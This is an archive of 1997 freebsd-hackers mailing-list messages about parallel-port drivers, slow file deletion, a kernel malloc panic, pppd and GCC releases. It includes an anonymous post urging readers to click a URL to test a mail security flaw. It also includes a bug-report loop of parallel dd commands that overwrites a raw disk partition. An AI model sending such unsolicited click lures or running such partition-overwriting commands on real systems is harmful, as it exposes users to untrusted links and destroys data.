setup! Don't miss your chance to get a genuine jkh gun! Makes > wonderful clicking noises when the chambers are empty to add to any > menical effect you wish to achieve. Or the jkh motorcycle faring. It > is like riding with nothing at all! black velvet paintings halo UV glow paint motorcycle elvis' birthday is tomorrow (?) jkh is the embodiment of ELVIS! jmb From owner-freebsd-hackers Fri Aug 15 16:41:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id QAA26224 for hackers-outgoing; Fri, 15 Aug 1997 16:41:11 -0700 (PDT) Received: from www3.web2010.com (nobody@[207.124.96.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id QAA26217 for ; Fri, 15 Aug 1997 16:41:07 -0700 (PDT) Received: (from nobody@localhost) by www3.web2010.com (8.8.6/8.6.9) id TAA29889; Fri, 15 Aug 1997 19:40:55 -0400 (EDT) Date: Fri, 15 Aug 1997 19:40:55 -0400 (EDT) Message-Id: <199708152340.TAA29889@www3.web2010.com> To: hackers@freebsd.org From: noaddr@noaddr.noaddr Subject: Click on the enclosed URL to demonstrate security flaw Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Click on http://shuster.com/mailbug/?test to test for the flaw (note that some users may see more than one copy of the URL; that is because it was sent in HTML for maximum compatibility, even though it results in an ugly display on non-html aware browsers.) From owner-freebsd-hackers Fri Aug 15 18:38:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id SAA00785 for hackers-outgoing; Fri, 15 Aug 1997 18:38:54 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id SAA00768; Fri, 15 Aug 1997 18:38:46 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA29530; Sat, 16 Aug 1997 11:08:20 +0930 (CST) From: Michael Smith Message-Id: <199708160138.LAA29530@genesis.atrad.adelaide.edu.au> Subject: Re: Parallel port developpements - ppbus In-Reply-To: <5696.871641825@critter.dk.tfs.com> from Poul-Henning Kamp at "Aug 15, 97 12:43:45 pm" To: phk@critter.dk.tfs.com (Poul-Henning Kamp) Date: Sat, 16 Aug 1997 11:08:19 +0930 (CST) Cc: Nicolas.Souchu@prism.uvsq.fr, freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Poul-Henning Kamp stands accused of saying: > > >Anyway, tell us which parallel-port-hardware should be first ported. > >---------------------------------------------------------------------------- > > Well, how about parallel printers and the PLIP/LPIP support ? :-) Printers are already (sort of) supported with the 'nlpt' driver. If you could work out why interrupts don't work, that'd be great of course. As for PLIP, well, Jordan sez you're Mr PLIP, so I think this one is best done with your help... > Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Fri Aug 15 19:02:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA01718 for hackers-outgoing; Fri, 15 Aug 1997 19:02:51 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA01695; Fri, 15 Aug 1997 19:02:39 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id LAA29599; Sat, 16 Aug 1997 11:32:20 +0930 (CST) From: Michael Smith Message-Id: <199708160202.LAA29599@genesis.atrad.adelaide.edu.au> Subject: Re: Parallel port developpements - ppbus In-Reply-To: <33F4BEF3.446B9B3D@prism.uvsq.fr> from Nicolas Souchu at "Aug 15, 97 08:41:23 pm" To: Nicolas.Souchu@prism.uvsq.fr (Nicolas Souchu) Date: Sat, 16 Aug 1997 11:32:20 +0930 (CST) Cc: phk@critter.dk.tfs.com, freebsd-hackers@FreeBSD.ORG, freebsd-hardware@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Nicolas Souchu stands accused of saying: > > - plip should of course. > We want to move it to a standalone file... plip.c? To be consistent, it should probably be if_lp or if_plip (probably the latter). > nicolas -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Fri Aug 15 19:10:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA02148 for hackers-outgoing; Fri, 15 Aug 1997 19:10:54 -0700 (PDT) Received: from earth.mat.net (root@earth.mat.net [206.246.122.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id TAA02137; Fri, 15 Aug 1997 19:10:48 -0700 (PDT) Received: from Journey2.mat.net (journey2.mat.net [206.246.122.116]) by earth.mat.net (8.6.12/8.6.12) with SMTP id WAA05627; Fri, 15 Aug 1997 22:10:34 -0400 Date: Fri, 15 Aug 1997 22:10:32 -0400 (EDT) From: Chuck Robey X-Sender: chuckr@Journey2.mat.net To: chat@FreeBSD.ORG cc: FreeBSD-hackers@FreeBSD.ORG Subject: Re: FreeBSD --- ALPHA In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 15 Aug 1997, Warner Losh wrote: > [ moving this to chat.. ] > > : > Somebody should repost the J. Monroy and the motorcycle cowlings post > : Or better yet, J. Monroy Sr.'s denunciation of J. Monroy Jr. > : That was a real hoot. Deliberate mispellings and all. > > Heh. Maybe it is time for a jkh rant shrine somewhere. I could agree to that. I'm only worried we might be embarrssing Jordan enough to make him stop, and I wouldn't like that, I used to get a real laugh over watching Jordan go ballistic anytime J. Monroy made a post. I'd considered hunting him down and paying him to do that .... Wayward > pilgrims on a rant, needing good, quality rant text to cut and past > can come here from across the planet. Rants everywhere will rise in > quality and will therefore be more enjoyable to read! Getting the > soft light, and nitch-like quality to the pictures of jkh on a good > rant for this shrine may take a bit of image-magic and sneakiness to > get the raw photos, but it would have a wonderful effect. Act now, > don't let the famous postings ("no fairings reply", "bang, bang, bang, > click click click") rot in bit rot due to sad neglect. > > Act now! Limited time offer. Be one of only 25 people to own their > very own genuine black velvet rendition of jkh, complete with halo and > UV glow paint suitable for any private shrine to the master you wish > to setup! Don't miss your chance to get a genuine jkh gun! Makes > wonderful clicking noises when the chambers are empty to add to any > menical effect you wish to achieve. Or the jkh motorcycle faring. It > is like riding with nothing at all! > > Warner > > ----------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@eng.umd.edu | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | I run Journey2 and picnic, both FreeBSD (301) 220-2114 | version 3.0 current -- and great FUN! ----------------------------+----------------------------------------------- From owner-freebsd-hackers Fri Aug 15 19:29:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA02756 for hackers-outgoing; Fri, 15 Aug 1997 19:29:28 -0700 (PDT) Received: from mail.webspan.net (root@mail.webspan.net [206.154.70.7]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA02751; Fri, 15 Aug 1997 19:29:25 -0700 (PDT) Received: from orion.webspan.net (orion.webspan.net [206.154.70.5]) by mail.webspan.net (WEBSPAN/970608) with ESMTP id WAA07406; Fri, 15 Aug 1997 22:29:19 -0400 (EDT) Received: from orion.webspan.net (localhost [127.0.0.1]) by orion.webspan.net (WEBSPAN/970608) with ESMTP id WAA26638; Fri, 15 Aug 1997 22:29:19 -0400 (EDT) To: Nicolas Souchu cc: Poul-Henning Kamp , FreeBSD hackers , FreeBSD hardware From: "Gary Palmer" Subject: Re: Parallel port developpements - ppbus In-reply-to: Your message of "Fri, 15 Aug 1997 20:41:23 -0000." <33F4BEF3.446B9B3D@prism.uvsq.fr> Date: Fri, 15 Aug 1997 22:29:19 -0400 Message-ID: <26636.871698559@orion.webspan.net> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Nicolas Souchu wrote in message ID <33F4BEF3.446B9B3D@prism.uvsq.fr>: > - plip should of course. > We want to move it to a standalone file... plip.c? How about QCam support? Gary -- Gary Palmer FreeBSD Core Team Member FreeBSD: Turning PC's into workstations. See http://www.FreeBSD.ORG/ for info From owner-freebsd-hackers Fri Aug 15 21:37:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA06866 for hackers-outgoing; Fri, 15 Aug 1997 21:37:56 -0700 (PDT) Received: from emout09.mail.aol.com (emout09.mx.aol.com [198.81.11.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA06861 for ; Fri, 15 Aug 1997 21:37:54 -0700 (PDT) From: StevenR362@aol.com Received: (from root@localhost) by emout09.mail.aol.com (8.7.6/8.7.3/AOL-2.0.0) id AAA07194; Sat, 16 Aug 1997 00:37:18 -0400 (EDT) Date: Sat, 16 Aug 1997 00:37:18 -0400 (EDT) Message-ID: <970816003718_2080730497@emout09.mail.aol.com> To: ponds!rivers@dg-rtp.dg.com cc: hackers@freebsd.org Subject: Re: More info on slow "rm" times with 2.2.1+. Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In a message dated 97-08-15 08:44:13 EDT, ponds!rivers@dg-rtp.dg.com writes: > Ah... I haven't seen my own follow ups yet; you may already know > this... > > But, apparently, it's 2.2.x that doesn't handle large directories > very well - 2.1.7 seems to work like a champ. > > It was taking 3-5 seconds to remove a file in a 300-400 entry directory > with 2.2.1. It took only 3 seconds to remove all 300+ files with 2.1.7. > [I booted up 2.1.7 with a fixit floppy, mounted the news partition > and just did a "rm *" in control - *poof, they are all gone...] > > This is most definately a 2.2.x phenomenon... > > - Dave Rivers - > If I read your previous posts correctly, then I think that your logical premises are incorrect and therefore your conclusion is false. :) Your previous posts seemed to indicate that you tried doing an rm * in a 20,000 file directory. You then aborted it when only 300-400 files were left and then tried deleteing individual files in this directory. Both of these operations were incredibly slow under 2.2.1, Correct? You then rebooted under 2.1.7 and the same directory with 300-400 files was deleted quickly. I posit that if you had rebooted to the same 2.2.1 kernel and then tried deleting the remaining 300-400 files it would have gone quickly as well. You might also have gotten the same effect by simply unmounting and remounting the filesystem or possibly just doing a couple of syncs at the command line. Of course, my premises may be incorrect in this too. :0 STeve From owner-freebsd-hackers Fri Aug 15 22:55:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id WAA09235 for hackers-outgoing; Fri, 15 Aug 1997 22:55:35 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id WAA09228 for ; Fri, 15 Aug 1997 22:55:33 -0700 (PDT) Received: (qmail 1463 invoked by uid 1000); 16 Aug 1997 05:55:51 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-PRIORITY: 2 (High) Priority: urgent Content-Type: text/plain; charset=iso-8859-8 Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Fri, 15 Aug 1997 22:55:51 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: freebsd-hackers@freebsd.org Subject: panic: malloc: lost data... Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi Y'all! What is that? Why is that? Got it on RELENG_2_2 as of last week when doing this simple script: for a in 1 2 3 4 do for b in 1 2 3 4 do dd if=/dev/rsd16s1a of=/dev/sd16s1b bs=1024k& done done There was no other explanation, nor ddb, which is unusual because ddb is enabled. Simon From owner-freebsd-hackers Fri Aug 15 23:21:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id XAA10012 for hackers-outgoing; Fri, 15 Aug 1997 23:21:37 -0700 (PDT) Received: from folco.lms.ru (folco.lms.ru [193.125.142.40]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id XAA10007 for ; Fri, 15 Aug 1997 23:21:32 -0700 (PDT) Received: from minas-tirith.lms.ru (uucp@localhost) by folco.lms.ru (8.8.5/8.6.9) with UUCP id KAA24799 for FreeBSD.ORG!freebsd-hackers; Sat, 16 Aug 1997 10:21:29 +0400 (MSD) Received: from minas-tirith (tarkhil@minas-tirith [127.0.0.1]) by minas-tirith.lms.ru (8.8.6/8.6.9) with ESMTP id JAA28399; Sat, 16 Aug 1997 09:44:01 +0400 (MSD) Message-Id: <199708160544.JAA28399@minas-tirith.lms.ru> To: Wolfgang Helbig cc: FreeBSD.ORG!freebsd-hackers@minas-tirith.lms.ru Subject: Re: Kernel ppp-2.3.1 and compile under FBSD's In-reply-to: Your message "Mon, 11 Aug 1997 10:17:10 +0200." <199708110817.KAA01745@rvc1.informatik.ba-stuttgart.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 16 Aug 1997 09:44:00 +0400 From: Alex Povolotsky Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk <199708110817.KAA01745@rvc1.informatik.ba-stuttgart.de>Wolfgang Helbig writes: >So you might have to upgrade to FreeBSD 2.2.x to make ppp-2.3.[01] compile. ppp-2.3.1 I've downloaded several days ago complaints on 2.2.2. It is configured ONLY for 2.1.X. Where can I get patches for it? Alex. From owner-freebsd-hackers Sat Aug 16 01:25:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA13246 for hackers-outgoing; Sat, 16 Aug 1997 01:25:27 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA13238 for ; Sat, 16 Aug 1997 01:25:22 -0700 (PDT) Received: from mail.cdsnet.net (mail.cdsnet.net [204.118.244.5]) by mail.cdsnet.net (8.8.6/8.8.6) with SMTP id BAA07469 for ; Sat, 16 Aug 1997 01:25:21 -0700 (PDT) Date: Sat, 16 Aug 1997 01:25:21 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: Anudder DPT problem Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk P6200/2, 128MB RAM, DPT 3334 RAID controller, 5 Seagate Barracuda's, 2 disks in raid 1, 3 disks raid 5: 2.2.2-stable, with DPT 1.2 patch I see the following after newfs'ing the raid 5: ug 15 18:23:40 zzz /kernel: dpt0 ERROR: Marking 180582 (Prevent/Allow Medium Removal [7.14]) on c0b0t1u0 Aug 15 18:23:40 zzz /kernel: dpt0 ERROR: Marking 180582 (Prevent/Allow Medium Removal [7.14]) on c0b0t1u0 Aug 15 18:23:40 zzz /kernel: as late after 19693674usec Aug 15 18:23:40 zzz /kernel: as late after 19693674usec # Aug 15 18:23:43 zzz /kernel: dpt0: Salvaging Tx 180582 from the jaws of destruction (5000/22415929) Aug 15 18:23:43 zzz /kernel: dpt0: Salvaging Tx 180582 from the jaws of destruction (5000/22415929) Not exactly sure what it means. The disk seems newfs'd OK, but don't like the error message. From owner-freebsd-hackers Sat Aug 16 01:57:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA14099 for hackers-outgoing; Sat, 16 Aug 1997 01:57:55 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA14093 for ; Sat, 16 Aug 1997 01:57:50 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id LAA00307 for hackers@freebsd.org; Sat, 16 Aug 1997 11:00:41 +0200 (CEST) From: Mikael Karpberg Message-Id: <199708160900.LAA00307@ocean.campus.luth.se> Subject: A bit off topic: GCC 2.8??? To: hackers@freebsd.org Date: Sat, 16 Aug 1997 11:00:41 +0200 (CEST) X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello! I'm interested in using exceptions and other final standard C++ thingies, and I'm therefor waiting for g++ 2.8.x to show up. It's not in FreeBSD yet, but is it out there somewhere? If not, does anyone have any estimations at all on when it will be released? And what will it handle? How finished is it? Any news? Maybe also... where _should_ I have asked this? :) And is there any web page with updated news on how development is going, etc? /Mikael From owner-freebsd-hackers Sat Aug 16 02:24:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA14854 for hackers-outgoing; Sat, 16 Aug 1997 02:24:02 -0700 (PDT) Received: from verdi.nethelp.no (verdi.nethelp.no [195.1.171.130]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA14826 for ; Sat, 16 Aug 1997 02:23:57 -0700 (PDT) From: sthaug@nethelp.no Received: (qmail 4577 invoked by uid 1001); 16 Aug 1997 09:23:53 +0000 (GMT) To: karpen@ocean.campus.luth.se Cc: hackers@FreeBSD.ORG Subject: Re: A bit off topic: GCC 2.8??? In-Reply-To: Your message of "Sat, 16 Aug 1997 11:00:41 +0200 (CEST)" References: <199708160900.LAA00307@ocean.campus.luth.se> X-Mailer: Mew version 1.05+ on Emacs 19.28.2 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Date: Sat, 16 Aug 1997 11:23:52 +0200 Message-ID: <4575.871723432@verdi.nethelp.no> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm interested in using exceptions and other final standard C++ thingies, > and I'm therefor waiting for g++ 2.8.x to show up. It's not in FreeBSD yet, > but is it out there somewhere? > > If not, does anyone have any estimations at all on when it will be released? > And what will it handle? How finished is it? Any news? > > Maybe also... where _should_ I have asked this? :) And is there any web > page with updated news on how development is going, etc? The following article from gnu.g++.help may be of interest. Steinar Haug, Nethelp consulting, sthaug@nethelp.no ---------------------------------------------------------------------- From: mrs@kithrup.com (Mike Stump) Subject: Re: Tired of waiting for a new g++ release. Message-ID: Date: Fri, 15 Aug 1997 23:39:54 GMT In article <5sq0nr$p77$1@sun27.hrz.th-darmstadt.de>, Stefan Neis wrote: >And then I keep hearing for months (years?), that there is "working" >template support for gcc (no offense intended. It works right now, too -- >but only for, say, 'experts'). However, this code is not released. Well, technically, it has been released. See: ftp://ftp.cygnus.com/pub/gnu-win32/gnu-win32-b18/cdk-src.tar.gz What you meant to say is that the FSF hasn't released it. From owner-freebsd-hackers Sat Aug 16 02:44:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15536 for hackers-outgoing; Sat, 16 Aug 1997 02:44:27 -0700 (PDT) Received: from polya.blah.org (slmel7p07.ozemail.com.au [203.22.156.95]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15530 for ; Sat, 16 Aug 1997 02:44:22 -0700 (PDT) Received: (from ada@localhost) by polya.blah.org (8.8.6/8.8.5) id SAA18844 for hackers@freebsd.org; Sat, 16 Aug 1997 18:10:57 +1000 (EST) From: Ada T Lim Message-Id: <199708160810.SAA18844@polya.blah.org> Subject: pppd & buffers To: hackers@freebsd.org Date: Sat, 16 Aug 1997 18:10:57 +1000 (EST) X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Every so often, if a ppp link has been up for a reasonably long period (> 1 day) nothing can be sent to the link - ping gives the following error: polya 18:08 src/usr.bin/yacc% ping 129.78.231.114 PING 129.78.231.114 (129.78.231.114): 56 data bytes ping: sendto: No buffer space available ping: wrote 129.78.231.114 64 chars, ret=-1 ping: sendto: No buffer space available ping: wrote 129.78.231.114 64 chars, ret=-1 ping: sendto: No buffer space available ping: wrote 129.78.231.114 64 chars, ret=-1 What would cause this? Ada From owner-freebsd-hackers Sat Aug 16 02:51:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15755 for hackers-outgoing; Sat, 16 Aug 1997 02:51:57 -0700 (PDT) Received: from jenolan.rutgers.edu (davem@jenolan.rutgers.edu [128.6.111.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15750 for ; Sat, 16 Aug 1997 02:51:55 -0700 (PDT) Received: (from davem@localhost) by jenolan.rutgers.edu (8.8.5/8.8.5) id FAA02174; Sat, 16 Aug 1997 05:50:59 -0400 Date: Sat, 16 Aug 1997 05:50:59 -0400 Message-Id: <199708160950.FAA02174@jenolan.rutgers.edu> From: "David S. Miller" To: sthaug@nethelp.no CC: karpen@ocean.campus.luth.se, hackers@FreeBSD.ORG In-reply-to: <4575.871723432@verdi.nethelp.no> (sthaug@nethelp.no) Subject: Re: A bit off topic: GCC 2.8??? Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk From: sthaug@nethelp.no Date: Sat, 16 Aug 1997 11:23:52 +0200 The following article from gnu.g++.help may be of interest. I think you need to go have a look at: http://www.cygnus.com/egcs/ From owner-freebsd-hackers Sat Aug 16 03:00:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA15978 for hackers-outgoing; Sat, 16 Aug 1997 03:00:28 -0700 (PDT) Received: from nico.telstra.net (nico.telstra.net [139.130.204.16]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA15973 for ; Sat, 16 Aug 1997 03:00:24 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by nico.telstra.net (8.6.10/8.6.10) with ESMTP id TAA00612; Sat, 16 Aug 1997 19:59:50 +1000 From: Greg Lehey Received: (grog@localhost) by freebie.lemis.com (8.8.7/8.6.12) id TAA00398; Sat, 16 Aug 1997 19:29:49 +0930 (CST) Message-Id: <199708160959.TAA00398@freebie.lemis.com> Subject: Re: pppd & buffers In-Reply-To: <199708160810.SAA18844@polya.blah.org> from Ada T Lim at "Aug 16, 97 06:10:57 pm" To: ada@not-enough.bandwidth.org (Ada T Lim) Date: Sat, 16 Aug 1997 19:29:49 +0930 (CST) Cc: hackers@FreeBSD.ORG Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ada T Lim writes: > Every so often, if a ppp link has been up for a reasonably long period > (> 1 day) nothing can be sent to the link - ping gives the following error: > polya 18:08 src/usr.bin/yacc% ping 129.78.231.114 > PING 129.78.231.114 (129.78.231.114): 56 data bytes > ping: sendto: No buffer space available > ping: wrote 129.78.231.114 64 chars, ret=-1 > ping: sendto: No buffer space available > ping: wrote 129.78.231.114 64 chars, ret=-1 > ping: sendto: No buffer space available > ping: wrote 129.78.231.114 64 chars, ret=-1 > > > What would cause this? Lack of buffer draining. Probably your link isn't working. This kind of question really belongs in FreeBSD-questions. If you've looked through the code and don't understand *why*, that would be a good question for -hackers. How about a followup to -questions with details of any messages. Do you still have a modem connection? Greg From owner-freebsd-hackers Sat Aug 16 04:20:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA19542 for hackers-outgoing; Sat, 16 Aug 1997 04:20:45 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id EAA19537 for ; Sat, 16 Aug 1997 04:20:36 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA08078; Sat, 16 Aug 1997 07:20:04 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Sat, 16 Aug 1997 07:20 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id HAA00374; Sat, 16 Aug 1997 07:13:24 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id HAA02927; Sat, 16 Aug 1997 07:06:53 -0400 (EDT) Date: Sat, 16 Aug 1997 07:06:53 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708161106.HAA02927@lakes.dignus.com> To: ponds!lakes.dignus.com!rivers, ponds!aol.com!StevenR362 Subject: Re: More info on slow "rm" times with 2.2.1+. Cc: ponds!freebsd.org!hackers Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > In a message dated 97-08-15 08:44:13 EDT, ponds!rivers@dg-rtp.dg.com writes: > > > Ah... I haven't seen my own follow ups yet; you may already know > > this... > > > > But, apparently, it's 2.2.x that doesn't handle large directories > > very well - 2.1.7 seems to work like a champ. > > > > It was taking 3-5 seconds to remove a file in a 300-400 entry directory > > with 2.2.1. It took only 3 seconds to remove all 300+ files with 2.1.7. > > [I booted up 2.1.7 with a fixit floppy, mounted the news partition > > and just did a "rm *" in control - *poof, they are all gone...] > > > > This is most definately a 2.2.x phenomenon... > > > > - Dave Rivers - > > > If I read your previous posts correctly, then I think that your logical > premises are incorrect and therefore your conclusion is false. :) > > Your previous posts seemed to indicate that you tried doing an rm * > in a 20,000 file directory. You then aborted it when only 300-400 files > were left and then tried deleteing individual files in this directory. Yes - after many+ hours had passed :-) > Both > of > these operations were incredibly slow under 2.2.1, Correct? You then > rebooted under 2.1.7 and the same directory with 300-400 files was deleted > quickly. I posit that if you had rebooted to the same 2.2.1 kernel and then > tried deleting the remaining 300-400 files it would have gone quickly as > well. Another very good point... see below. But, it's interesting; why do you believe a reboot would have improved things? Are you thinking along the lines of a flushed namei cache? > > You might also have gotten the same effect by simply unmounting and > remounting > the filesystem or possibly just doing a couple of syncs at the command line. Ahh... very good point. Just f.y.i. - I did unmount and mount the file system again, just to ensure that async had any effect at all (which it didn't appear to) but this was when the directory contained 20,000 files. But, I didn't clearly relate that... I did try to do a single-user delete (i.e. boot -s) under 2.2.1 when the directory had ~10,000 files - and still got the same slow "rm" times (on a non-async file system at that point.) Perhaps it's worthwhile to indicate exactly what I've found, you may be absolutely correct - there could be a flaw in my logic: Deleting a file out of ~20,000 with 2.2.1, async mount, multiuser: 3-5 seconds Deleting a file out of ~10,000 with 2.2.1, sync mount, multiuser: 3-5 seconds Deleting a file out of ~10,000 with 2.2.1, sync mount, single user: 3-5 seconds Deleting a file out of ~300 with 2.2.1, sync mount, multiuser: 3-5 seconds Deleting all of ~300 with 2.1.7, sync mount, single user: 4 seconds > > Of course, my premises may be incorrect in this too. :0 It would be trivial for me to verify any slow or fast times - all I've got to do is make a big directory... seems that ~300 files is enough to run into whatever the problem may be... > > STeve > From owner-freebsd-hackers Sat Aug 16 05:05:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA20705 for hackers-outgoing; Sat, 16 Aug 1997 05:05:46 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA20700 for ; Sat, 16 Aug 1997 05:05:42 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id FAA26252; Sat, 16 Aug 1997 05:07:22 -0700 (PDT) Message-Id: <199708161207.FAA26252@implode.root.com> To: Thomas David Rivers cc: hackers@freebsd.org Subject: Re: More info on slow "rm" times with 2.2.1+. In-reply-to: Your message of "Sat, 16 Aug 1997 07:06:53 EDT." <199708161106.HAA02927@lakes.dignus.com> From: David Greenman Reply-To: dg@root.com Date: Sat, 16 Aug 1997 05:07:22 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > Perhaps it's worthwhile to indicate exactly what I've found, >you may be absolutely correct - there could be a flaw in my logic: > >Deleting a file out of ~20,000 with 2.2.1, async mount, multiuser: 3-5 seconds >Deleting a file out of ~10,000 with 2.2.1, sync mount, multiuser: 3-5 seconds >Deleting a file out of ~10,000 with 2.2.1, sync mount, single user: 3-5 seconds >Deleting a file out of ~300 with 2.2.1, sync mount, multiuser: 3-5 seconds >Deleting all of ~300 with 2.1.7, sync mount, single user: 4 seconds > > >> >> Of course, my premises may be incorrect in this too. :0 > > It would be trivial for me to verify any slow or fast times - all >I've got to do is make a big directory... seems that ~300 files is >enough to run into whatever the problem may be... How many files are in the directory 